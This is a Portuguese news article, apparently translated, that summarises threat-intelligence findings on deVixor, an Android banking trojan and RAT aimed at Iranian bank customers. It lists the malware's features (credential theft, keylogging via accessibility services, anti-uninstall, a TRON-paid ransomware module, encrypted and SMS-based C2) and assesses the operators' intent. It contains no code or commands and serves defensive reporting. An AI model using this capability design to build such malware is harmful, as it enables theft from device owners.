  • 9 bancos iranianos alvo com URLs e seletores CSS codificados para roubo de credenciais
  • +25 comandos RAT para controle completo do dispositivo, incluindo SMS, contatos, fotos, USSD
  • 6 módulos de serviço de acessibilidade para keylogging, anti-desinstalação, bloqueio de energia e captura de notificações
  • Módulo de ransomware exigindo 50 TRX em criptomoeda via blockchain TRON
  • +11 aliases de atividade para disfarce sofisticado (YouTube, bancos iranianos, invisível)
  • +80 IDs enviadoras de banco para análise completa de SMS
  • +44 aplicativos bancários monitorados para detecção
  • Criptografia C2 multi-nível usando AES/CTR, HMAC, permutação S-Box e Zlib
  • Suporte bilíngue (Persa/Inglês) em toda a base de código

Avaliação da Ameaça

Vários aspectos do deVixor se destacam sob o ponto de vista de inteligência de ameaças. A detecção de palavras-chave bilíngue (persa e inglês) nos módulos anti-desinstalação e bloqueio de energia mostra que o autor entende que os dispositivos iranianos podem ser configurados em qualquer um desses idiomas. O tratamento específico para fabricantes Samsung e Xiaomi alinha-se com as duas OEMs Android mais populares no Irã. A utilização da criptomoeda TRON (em vez de Bitcoin) para pagamentos ransomware reflete a consciência do que é acessível e prático no mercado iraniano. O permission.json configurável e as várias atividades de isca sugerem que este é um framework projetado para múltiplas campanhas com diferentes armadilhas de engenharia social. E a comunicação C2 offline via SMS com comandos em persa é uma característica de resiliência que raramente vemos em malware Android commodity, o que sugere que os operadores esperam operar em ambientes com conectividade à internet intermitente.

Fonte original

Conteúdo traduzido e adaptado pela redação do Notícias Mobile. Confira também a matéria na fonte original.

Leia a matéria completa